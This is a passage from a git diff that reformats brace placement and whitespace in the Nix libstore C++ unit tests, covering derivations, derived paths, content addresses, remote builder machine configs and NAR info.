"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + std::optional{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, }, })) CHARACTERIZATION_TEST( optionalContentAddress, "optional-content-address", - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - ContentAddress { + std::optional{ + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, diff --git a/src/libstore-tests/content-address.cc b/src/libstore-tests/content-address.cc index c208c944d..fbe5408d2 100644 --- a/src/libstore-tests/content-address.cc +++ b/src/libstore-tests/content-address.cc @@ -8,29 +8,32 @@ namespace nix { * ContentAddressMethod::parse, ContentAddressMethod::render * --------------------------------------------------------------------------*/ -TEST(ContentAddressMethod, testRoundTripPrintParse_1) { +TEST(ContentAddressMethod, testRoundTripPrintParse_1) +{ for (ContentAddressMethod cam : { - ContentAddressMethod::Raw::Text, - ContentAddressMethod::Raw::Flat, - ContentAddressMethod::Raw::NixArchive, - ContentAddressMethod::Raw::Git, - }) { + ContentAddressMethod::Raw::Text, + ContentAddressMethod::Raw::Flat, + ContentAddressMethod::Raw::NixArchive, + ContentAddressMethod::Raw::Git, + }) { EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam); } } -TEST(ContentAddressMethod, testRoundTripPrintParse_2) { +TEST(ContentAddressMethod, testRoundTripPrintParse_2) +{ for (const std::string_view camS : { - "text", - "flat", - "nar", - "git", - }) { + "text", + "flat", + "nar", + "git", + }) { EXPECT_EQ(ContentAddressMethod::parse(camS).render(), camS); } } -TEST(ContentAddressMethod, testParseContentAddressMethodOptException) { +TEST(ContentAddressMethod, testParseContentAddressMethodOptException) +{ EXPECT_THROW(ContentAddressMethod::parse("narwhal"), UsageError); } diff --git a/src/libstore-tests/derivation.cc b/src/libstore-tests/derivation.cc index fa6711d40..595532dfd 100644 --- a/src/libstore-tests/derivation.cc +++ b/src/libstore-tests/derivation.cc @@ -16,7 +16,8 @@ class DerivationTest : public CharacterizationTest, public LibStoreTest std::filesystem::path unitTestData = getUnitTestData() / "derivation"; public: - std::filesystem::path goldenMaster(std::string_view testStem) const override { + std::filesystem::path goldenMaster(std::string_view testStem) const override + { return unitTestData / testStem; } @@ -51,168 +52,169 @@ class ImpureDerivationTest : public DerivationTest } }; -TEST_F(DerivationTest, BadATerm_version) { +TEST_F(DerivationTest, BadATerm_version) +{ + ASSERT_THROW( + parseDerivation(*store, readFile(goldenMaster("bad-version.drv")), "whatever", mockXpSettings), FormatError); +} + +TEST_F(DynDerivationTest, BadATerm_oldVersionDynDeps) +{ ASSERT_THROW( parseDerivation( - *store, - readFile(goldenMaster("bad-version.drv")), - "whatever", - mockXpSettings), + *store, readFile(goldenMaster("bad-old-version-dyn-deps.drv")), "dyn-dep-derivation", mockXpSettings), FormatError); } -TEST_F(DynDerivationTest, BadATerm_oldVersionDynDeps) { - ASSERT_THROW( - parseDerivation( - *store, - readFile(goldenMaster("bad-old-version-dyn-deps.drv")), - "dyn-dep-derivation", - mockXpSettings), - FormatError); -} - -#define TEST_JSON(FIXTURE, NAME, VAL, DRV_NAME, OUTPUT_NAME) \ - TEST_F(FIXTURE, DerivationOutput_ ## NAME ## _from_json) { \ - readTest("output-" #NAME ".json", [&](const auto & encoded_) { \ - auto encoded = json::parse(encoded_); \ - DerivationOutput got = DerivationOutput::fromJSON( \ - *store, \ - DRV_NAME, \ - OUTPUT_NAME, \ - encoded, \ - mockXpSettings); \ - DerivationOutput expected { VAL }; \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(FIXTURE, DerivationOutput_ ## NAME ## _to_json) { \ - writeTest("output-" #NAME ".json", [&]() -> json { \ - return DerivationOutput { (VAL) }.toJSON( \ - *store, \ - (DRV_NAME), \ - (OUTPUT_NAME)); \ - }, [](const auto & file) { \ - return json::parse(readFile(file)); \ - }, [](const auto & file, const auto & got) { \ - return writeFile(file, got.dump(2) + "\n"); \ - }); \ +#define TEST_JSON(FIXTURE, NAME, VAL, DRV_NAME, OUTPUT_NAME) \ + TEST_F(FIXTURE, DerivationOutput_##NAME##_from_json) \ + { \ + readTest("output-" #NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + DerivationOutput got = DerivationOutput::fromJSON(*store, DRV_NAME, OUTPUT_NAME, encoded, mockXpSettings); \ + DerivationOutput expected{VAL}; \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, DerivationOutput_##NAME##_to_json) \ + { \ + writeTest( \ + "output-" #NAME ".json", \ + [&]() -> json { return DerivationOutput{(VAL)}.toJSON(*store, (DRV_NAME), (OUTPUT_NAME)); }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ } -TEST_JSON(DerivationTest, inputAddressed, - (DerivationOutput::InputAddressed { +TEST_JSON( + DerivationTest, + inputAddressed, + (DerivationOutput::InputAddressed{ .path = store->parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name"), }), - "drv-name", "output-name") + "drv-name", + "output-name") -TEST_JSON(DerivationTest, caFixedFlat, - (DerivationOutput::CAFixed { - .ca = { - .method = ContentAddressMethod::Raw::Flat, - .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), - }, +TEST_JSON( + DerivationTest, + caFixedFlat, + (DerivationOutput::CAFixed{ + .ca = + { + .method = ContentAddressMethod::Raw::Flat, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, }), - "drv-name", "output-name") + "drv-name", + "output-name") -TEST_JSON(DerivationTest, caFixedNAR, - (DerivationOutput::CAFixed { - .ca = { - .method = ContentAddressMethod::Raw::NixArchive, - .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), - }, +TEST_JSON( + DerivationTest, + caFixedNAR, + (DerivationOutput::CAFixed{ + .ca = + { + .method = ContentAddressMethod::Raw::NixArchive, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, }), - "drv-name", "output-name") + "drv-name", + "output-name") -TEST_JSON(DynDerivationTest, caFixedText, - (DerivationOutput::CAFixed { - .ca = { - .method = ContentAddressMethod::Raw::Text, - .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), - }, +TEST_JSON( + DynDerivationTest, + caFixedText, + (DerivationOutput::CAFixed{ + .ca = + { + .method = ContentAddressMethod::Raw::Text, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, }), - "drv-name", "output-name") + "drv-name", + "output-name") -TEST_JSON(CaDerivationTest, caFloating, - (DerivationOutput::CAFloating { +TEST_JSON( + CaDerivationTest, + caFloating, + (DerivationOutput::CAFloating{ .method = ContentAddressMethod::Raw::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), - "drv-name", "output-name") + "drv-name", + "output-name") -TEST_JSON(DerivationTest, deferred, - DerivationOutput::Deferred { }, - "drv-name", "output-name") +TEST_JSON(DerivationTest, deferred, DerivationOutput::Deferred{}, "drv-name", "output-name") -TEST_JSON(ImpureDerivationTest, impure, - (DerivationOutput::Impure { +TEST_JSON( + ImpureDerivationTest, + impure, + (DerivationOutput::Impure{ .method = ContentAddressMethod::Raw::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), - "drv-name", "output-name") + "drv-name", + "output-name") #undef TEST_JSON -#define TEST_JSON(FIXTURE, NAME, VAL) \ - TEST_F(FIXTURE, Derivation_ ## NAME ## _from_json) { \ - readTest(#NAME ".json", [&](const auto & encoded_) { \ - auto encoded = json::parse(encoded_); \ - Derivation expected { VAL }; \ - Derivation got = Derivation::fromJSON( \ - *store, \ - encoded, \ - mockXpSettings); \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(FIXTURE, Derivation_ ## NAME ## _to_json) { \ - writeTest(#NAME ".json", [&]() -> json { \ - return Derivation { VAL }.toJSON(*store); \ - }, [](const auto & file) { \ - return json::parse(readFile(file)); \ - }, [](const auto & file, const auto & got) { \ - return writeFile(file, got.dump(2) + "\n"); \ - }); \ +#define TEST_JSON(FIXTURE, NAME, VAL) \ + TEST_F(FIXTURE, Derivation_##NAME##_from_json) \ + { \ + readTest(#NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + Derivation expected{VAL}; \ + Derivation got = Derivation::fromJSON(*store, encoded, mockXpSettings); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, Derivation_##NAME##_to_json) \ + { \ + writeTest( \ + #NAME ".json", \ + [&]() -> json { return Derivation{VAL}.toJSON(*store); }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ } -#define TEST_ATERM(FIXTURE, NAME, VAL, DRV_NAME) \ - TEST_F(FIXTURE, Derivation_ ## NAME ## _from_aterm) { \ - readTest(#NAME ".drv", [&](auto encoded) { \ - Derivation expected { VAL }; \ - auto got = parseDerivation( \ - *store, \ - std::move(encoded), \ - DRV_NAME, \ - mockXpSettings); \ - ASSERT_EQ(got.toJSON(*store), expected.toJSON(*store)) ; \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(FIXTURE, Derivation_ ## NAME ## _to_aterm) { \ - writeTest(#NAME ".drv", [&]() -> std::string { \ - return (VAL).unparse(*store, false); \ - }); \ +#define TEST_ATERM(FIXTURE, NAME, VAL, DRV_NAME) \ + TEST_F(FIXTURE, Derivation_##NAME##_from_aterm) \ + { \ + readTest(#NAME ".drv", [&](auto encoded) { \ + Derivation expected{VAL}; \ + auto got = parseDerivation(*store, std::move(encoded), DRV_NAME, mockXpSettings); \ + ASSERT_EQ(got.toJSON(*store), expected.toJSON(*store)); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, Derivation_##NAME##_to_aterm) \ + { \ + writeTest(#NAME ".drv", [&]() -> std::string { return (VAL).unparse(*store, false); }); \ } -Derivation makeSimpleDrv(const Store & store) { +Derivation makeSimpleDrv(const Store & store) +{ Derivation drv; drv.name = "simple-derivation"; drv.inputSrcs = { store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"), }; drv.inputDrvs = { - .map = { + .map = { - store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), { - .value = { - "cat", - "dog", + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), + { + .value = + { + "cat", + "dog", + }, }, }, }, - }, }; drv.platform = "wasm-sel4"; drv.builder = "foo"; @@ -231,46 +233,50 @@ Derivation makeSimpleDrv(const Store & store) { TEST_JSON(DerivationTest, simple, makeSimpleDrv(*store)) -TEST_ATERM(DerivationTest, simple, - makeSimpleDrv(*store), - "simple-derivation") +TEST_ATERM(DerivationTest, simple, makeSimpleDrv(*store), "simple-derivation") -Derivation makeDynDepDerivation(const Store & store) { +Derivation makeDynDepDerivation(const Store & store) +{ Derivation drv; drv.name = "dyn-dep-derivation"; drv.inputSrcs = { store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"), }; drv.inputDrvs = { - .map = { + .map = { - store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), - DerivedPathMap::ChildNode { - .value = { - "cat", - "dog", - }, - .childMap = { - { - "cat", - DerivedPathMap::ChildNode { - .value = { - "kitten", + { + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), + DerivedPathMap::ChildNode{ + .value = + { + "cat", + "dog", + }, + .childMap = + { + { + "cat", + DerivedPathMap::ChildNode{ + .value = + { + "kitten", + }, + }, + }, + { + "goose", + DerivedPathMap::ChildNode{ + .value = + { + "gosling", + }, + }, }, }, - }, - { - "goose", - DerivedPathMap::ChildNode { - .value = { - "gosling", - }, - }, - }, }, }, }, - }, }; drv.platform = "wasm-sel4"; drv.builder = "foo"; @@ -289,9 +295,7 @@ Derivation makeDynDepDerivation(const Store & store) { TEST_JSON(DynDerivationTest, dynDerivationDeps, makeDynDepDerivation(*store)) -TEST_ATERM(DynDerivationTest, dynDerivationDeps, - makeDynDepDerivation(*store), - "dyn-dep-derivation") +TEST_ATERM(DynDerivationTest, dynDerivationDeps, makeDynDepDerivation(*store), "dyn-dep-derivation") #undef TEST_JSON #undef TEST_ATERM diff --git a/src/libstore-tests/derived-path.cc b/src/libstore-tests/derived-path.cc index 51df25198..1e9e9ffa6 100644 --- a/src/libstore-tests/derived-path.cc +++ b/src/libstore-tests/derived-path.cc @@ -9,14 +9,14 @@ namespace nix { class DerivedPathTest : public LibStoreTest -{ -}; +{}; /** * Round trip (string <-> data structure) test for * `DerivedPath::Opaque`. */ -TEST_F(DerivedPathTest, opaque) { +TEST_F(DerivedPathTest, opaque) +{ std::string_view opaque = "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x"; auto elem = DerivedPath::parse(*store, opaque); auto * p = std::get_if(&elem); @@ -29,15 +29,18 @@ TEST_F(DerivedPathTest, opaque) { * Round trip (string <-> data structure) test for a simpler * `DerivedPath::Built`. */ -TEST_F(DerivedPathTest, built_opaque) { +TEST_F(DerivedPathTest, built_opaque) +{ std::string_view built = "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv^bar,foo"; auto elem = DerivedPath::parse(*store, built); auto * p = std::get_if(&elem); ASSERT_TRUE(p); - ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names { "foo", "bar" })); - ASSERT_EQ(*p->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { - .path = store->parseStorePath(built.substr(0, 49)), - })); + ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names{"foo", "bar"})); + ASSERT_EQ( + *p->drvPath, + ((SingleDerivedPath) SingleDerivedPath::Opaque{ + .path = store->parseStorePath(built.substr(0, 49)), + })); ASSERT_EQ(elem.to_string(*store), built); } @@ -45,7 +48,8 @@ TEST_F(DerivedPathTest, built_opaque) { * Round trip (string <-> data structure) test for a more complex, * inductive `DerivedPath::Built`. */ -TEST_F(DerivedPathTest, built_built) { +TEST_F(DerivedPathTest, built_built) +{ /** * We set these in tests rather than the regular globals so we don't have * to worry about race conditions if the tests run concurrently. @@ -57,13 +61,15 @@ TEST_F(DerivedPathTest, built_built) { auto elem = DerivedPath::parse(*store, built, mockXpSettings); auto * p = std::get_if(&elem); ASSERT_TRUE(p); - ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names { "bar", "baz" })); + ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names{"bar", "baz"})); auto * drvPath = std::get_if(&*p->drvPath); ASSERT_TRUE(drvPath); ASSERT_EQ(drvPath->output, "foo"); - ASSERT_EQ(*drvPath->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { - .path = store->parseStorePath(built.substr(0, 49)), - })); + ASSERT_EQ( + *drvPath->drvPath, + ((SingleDerivedPath) SingleDerivedPath::Opaque{ + .path = store->parseStorePath(built.substr(0, 49)), + })); ASSERT_EQ(elem.to_string(*store), built); } @@ -71,7 +77,8 @@ TEST_F(DerivedPathTest, built_built) { * Without the right experimental features enabled, we cannot parse a * complex inductive derived path. */ -TEST_F(DerivedPathTest, built_built_xp) { +TEST_F(DerivedPathTest, built_built_xp) +{ ASSERT_THROW( DerivedPath::parse(*store, "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv^foo^bar,baz"), MissingExperimentalFeature); @@ -84,20 +91,14 @@ TEST_F(DerivedPathTest, built_built_xp) { path '00000000000000000000000000000000-0^0' is not a valid store path: name '0^0' contains illegal character '^' */ -RC_GTEST_FIXTURE_PROP( - DerivedPathTest, - DISABLED_prop_legacy_round_rip, - (const DerivedPath & o)) +RC_GTEST_FIXTURE_PROP(DerivedPathTest, DISABLED_prop_legacy_round_rip, (const DerivedPath & o)) { ExperimentalFeatureSettings xpSettings; xpSettings.set("experimental-features", "dynamic-derivations"); RC_ASSERT(o == DerivedPath::parseLegacy(*store, o.to_string_legacy(*store), xpSettings)); } -RC_GTEST_FIXTURE_PROP( - DerivedPathTest, - prop_round_rip, - (const DerivedPath & o)) +RC_GTEST_FIXTURE_PROP(DerivedPathTest, prop_round_rip, (const DerivedPath & o)) { ExperimentalFeatureSettings xpSettings; xpSettings.set("experimental-features", "dynamic-derivations"); diff --git a/src/libstore-tests/downstream-placeholder.cc b/src/libstore-tests/downstream-placeholder.cc index 604c80017..809b5c824 100644 --- a/src/libstore-tests/downstream-placeholder.cc +++ b/src/libstore-tests/downstream-placeholder.cc @@ -4,7 +4,8 @@ namespace nix { -TEST(DownstreamPlaceholder, unknownCaOutput) { +TEST(DownstreamPlaceholder, unknownCaOutput) +{ /** * We set these in tests rather than the regular globals so we don't have * to worry about race conditions if the tests run concurrently. @@ -14,13 +15,13 @@ TEST(DownstreamPlaceholder, unknownCaOutput) { ASSERT_EQ( DownstreamPlaceholder::unknownCaOutput( - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv" }, - "out", - mockXpSettings).render(), + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv"}, "out", mockXpSettings) + .render(), "/0c6rn30q4frawknapgwq386zq358m8r6msvywcvc89n6m5p2dgbz"); } -TEST(DownstreamPlaceholder, unknownDerivation) { +TEST(DownstreamPlaceholder, unknownDerivation) +{ /** * Same reason as above */ @@ -30,11 +31,10 @@ TEST(DownstreamPlaceholder, unknownDerivation) { ASSERT_EQ( DownstreamPlaceholder::unknownDerivation( DownstreamPlaceholder::unknownCaOutput( - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv.drv" }, - "out", - mockXpSettings), + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv.drv"}, "out", mockXpSettings), "out", - mockXpSettings).render(), + mockXpSettings) + .render(), "/0gn6agqxjyyalf0dpihgyf49xq5hqxgw100f0wydnj6yqrhqsb3w"); } diff --git a/src/libstore-tests/machines.cc b/src/libstore-tests/machines.cc index 084807130..54c9aa5cd 100644 --- a/src/libstore-tests/machines.cc +++ b/src/libstore-tests/machines.cc @@ -13,16 +13,20 @@ using testing::Eq; using testing::Field; using testing::SizeIs; -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; -TEST(machines, getMachinesWithEmptyBuilders) { +TEST(machines, getMachinesWithEmptyBuilders) +{ auto actual = Machine::parseConfig({}, ""); ASSERT_THAT(actual, SizeIs(0)); } -TEST(machines, getMachinesUriOnly) { +TEST(machines, getMachinesUriOnly) +{ auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); @@ -35,7 +39,8 @@ TEST(machines, getMachinesUriOnly) { EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, SizeIs(0))); } -TEST(machines, getMachinesDefaults) { +TEST(machines, getMachinesDefaults) +{ auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl - - - - - - -"); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); @@ -48,33 +53,35 @@ TEST(machines, getMachinesDefaults) { EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, SizeIs(0))); } -MATCHER_P(AuthorityMatches, authority, "") { - *result_listener - << "where the authority of " - << arg.render() - << " is " - << authority; +MATCHER_P(AuthorityMatches, authority, "") +{ + *result_listener << "where the authority of " << arg.render() << " is " << authority; auto * generic = std::get_if(&arg.variant); - if (!generic) return false; + if (!generic) + return false; return generic->authority == authority; } -TEST(machines, getMachinesWithNewLineSeparator) { +TEST(machines, getMachinesWithNewLineSeparator) +{ auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(2)); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } -TEST(machines, getMachinesWithSemicolonSeparator) { +TEST(machines, getMachinesWithSemicolonSeparator) +{ auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"); EXPECT_THAT(actual, SizeIs(2)); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } -TEST(machines, getMachinesWithCommentsAndSemicolonSeparator) { - auto actual = Machine::parseConfig({}, +TEST(machines, getMachinesWithCommentsAndSemicolonSeparator) +{ + auto actual = Machine::parseConfig( + {}, "# This is a comment ; this is still that comment\n" "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl\n" "# This is also a comment ; this also is still that comment\n" @@ -85,8 +92,10 @@ TEST(machines, getMachinesWithCommentsAndSemicolonSeparator) { EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scabby.labs.cs.uu.nl")))); } -TEST(machines, getMachinesWithFunnyWhitespace) { - auto actual = Machine::parseConfig({}, +TEST(machines, getMachinesWithFunnyWhitespace) +{ + auto actual = Machine::parseConfig( + {}, " # commment ; comment\n" " nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl \n" "\n \n" @@ -99,8 +108,10 @@ TEST(machines, getMachinesWithFunnyWhitespace) { EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scabby.labs.cs.uu.nl")))); } -TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { - auto actual = Machine::parseConfig({}, +TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) +{ + auto actual = Machine::parseConfig( + {}, "nix@scratchy.labs.cs.uu.nl i686-linux " "/home/nix/.ssh/id_scratchy_auto 8 3 kvm " "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="); @@ -115,9 +126,10 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, Eq("SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="))); } -TEST(machines, - getMachinesWithCorrectCompleteSingleBuilderWithTabColumnDelimiter) { - auto actual = Machine::parseConfig({}, +TEST(machines, getMachinesWithCorrectCompleteSingleBuilderWithTabColumnDelimiter) +{ + auto actual = Machine::parseConfig( + {}, "nix@scratchy.labs.cs.uu.nl\ti686-linux\t/home/nix/.ssh/" "id_scratchy_auto\t8\t3\tkvm\tbenchmark\tSSH+HOST+PUBLIC+" "KEY+BASE64+ENCODED=="); @@ -132,8 +144,10 @@ TEST(machines, EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, Eq("SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="))); } -TEST(machines, getMachinesWithMultiOptions) { - auto actual = Machine::parseConfig({}, +TEST(machines, getMachinesWithMultiOptions) +{ + auto actual = Machine::parseConfig( + {}, "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - " "SupportedFeature1,SupportedFeature2 " "MandatoryFeature1,MandatoryFeature2"); @@ -144,25 +158,17 @@ TEST(machines, getMachinesWithMultiOptions) { EXPECT_THAT(actual[0], Field(&Machine::mandatoryFeatures, ElementsAre("MandatoryFeature1", "MandatoryFeature2"))); } -TEST(machines, getMachinesWithIncorrectFormat) { - EXPECT_THROW( - Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - eight"), - FormatError); - EXPECT_THROW( - Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - -1"), - FormatError); - EXPECT_THROW( - Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 three"), - FormatError); - EXPECT_THROW( - Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 -3"), - UsageError); - EXPECT_THROW( - Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"), - FormatError); +TEST(machines, getMachinesWithIncorrectFormat) +{ + EXPECT_THROW(Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - eight"), FormatError); + EXPECT_THROW(Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - -1"), FormatError); + EXPECT_THROW(Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 three"), FormatError); + EXPECT_THROW(Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 -3"), UsageError); + EXPECT_THROW(Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"), FormatError); } -TEST(machines, getMachinesWithCorrectFileReference) { +TEST(machines, getMachinesWithCorrectFileReference) +{ auto path = fs::weakly_canonical(getUnitTestData() / "machines/valid"); ASSERT_TRUE(fs::exists(path)); @@ -173,7 +179,8 @@ TEST(machines, getMachinesWithCorrectFileReference) { EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@poochie.labs.cs.uu.nl")))); } -TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) { +TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) +{ fs::path path = "/dev/null"; ASSERT_TRUE(fs::exists(path)); @@ -181,14 +188,16 @@ TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) { ASSERT_THAT(actual, SizeIs(0)); } -TEST(machines, getMachinesWithIncorrectFileReference) { +TEST(machines, getMachinesWithIncorrectFileReference) +{ auto path = fs::weakly_canonical("/not/a/file"); ASSERT_TRUE(!fs::exists(path)); auto actual = Machine::parseConfig({}, "@" + path.string()); ASSERT_THAT(actual, SizeIs(0)); } -TEST(machines, getMachinesWithCorrectFileReferenceToIncorrectFile) { +TEST(machines, getMachinesWithCorrectFileReferenceToIncorrectFile) +{ EXPECT_THROW( Machine::parseConfig({}, "@" + fs::weakly_canonical(getUnitTestData() / "machines" / "bad_format").string()), FormatError); diff --git a/src/libstore-tests/nar-info-disk-cache.cc b/src/libstore-tests/nar-info-disk-cache.cc index 4c7354c0c..d3b4ff585 100644 --- a/src/libstore-tests/nar-info-disk-cache.cc +++ b/src/libstore-tests/nar-info-disk-cache.cc @@ -5,10 +5,10 @@ #include "nix/store/sqlite.hh" #include - namespace nix { -TEST(NarInfoDiskCacheImpl, create_and_read) { +TEST(NarInfoDiskCacheImpl, create_and_read) +{ // This is a large single test to avoid some setup overhead. int prio = 12345; @@ -36,7 +36,8 @@ TEST(NarInfoDiskCacheImpl, create_and_read) { // Check that the fields are saved and returned correctly. This does not test // the select statement yet, because of in-memory caching. - savedId = cache->createCache("http://foo", "/nix/storedir", wantMassQuery, prio);; + savedId = cache->createCache("http://foo", "/nix/storedir", wantMassQuery, prio); + ; { auto r = cache->upToDateCacheExists("http://foo"); ASSERT_TRUE(r); diff --git a/src/libstore-tests/nar-info.cc b/src/libstore-tests/nar-info.cc index 1979deef8..d4c77f68b 100644 --- a/src/libstore-tests/nar-info.cc +++ b/src/libstore-tests/nar-info.cc @@ -15,38 +15,42 @@ class NarInfoTest : public CharacterizationTest, public LibStoreTest { std::filesystem::path unitTestData = getUnitTestData() / "nar-info"; - std::filesystem::path goldenMaster(PathView testStem) const override { + std::filesystem::path goldenMaster(PathView testStem) const override + { return unitTestData / (testStem + ".json"); } }; -static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) { - NarInfo info = ValidPathInfo { +static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) +{ + NarInfo info = ValidPathInfo{ store, "foo", - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), - .references = { - .others = { - StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", - }, + .references = + { + .others = + { + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, }, - .self = true, - }, }, Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; info.narSize = 34878; if (includeImpureInfo) { - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.registrationTime = 23423; info.ultimate = true; - info.sigs = { "asdf", "qwer" }; + info.sigs = {"asdf", "qwer"}; info.url = "nar/1w1fff338fvdw53sqgamddn1b2xgds473pv6y13gizdbqjv4i5p3.nar.xz"; info.compression = 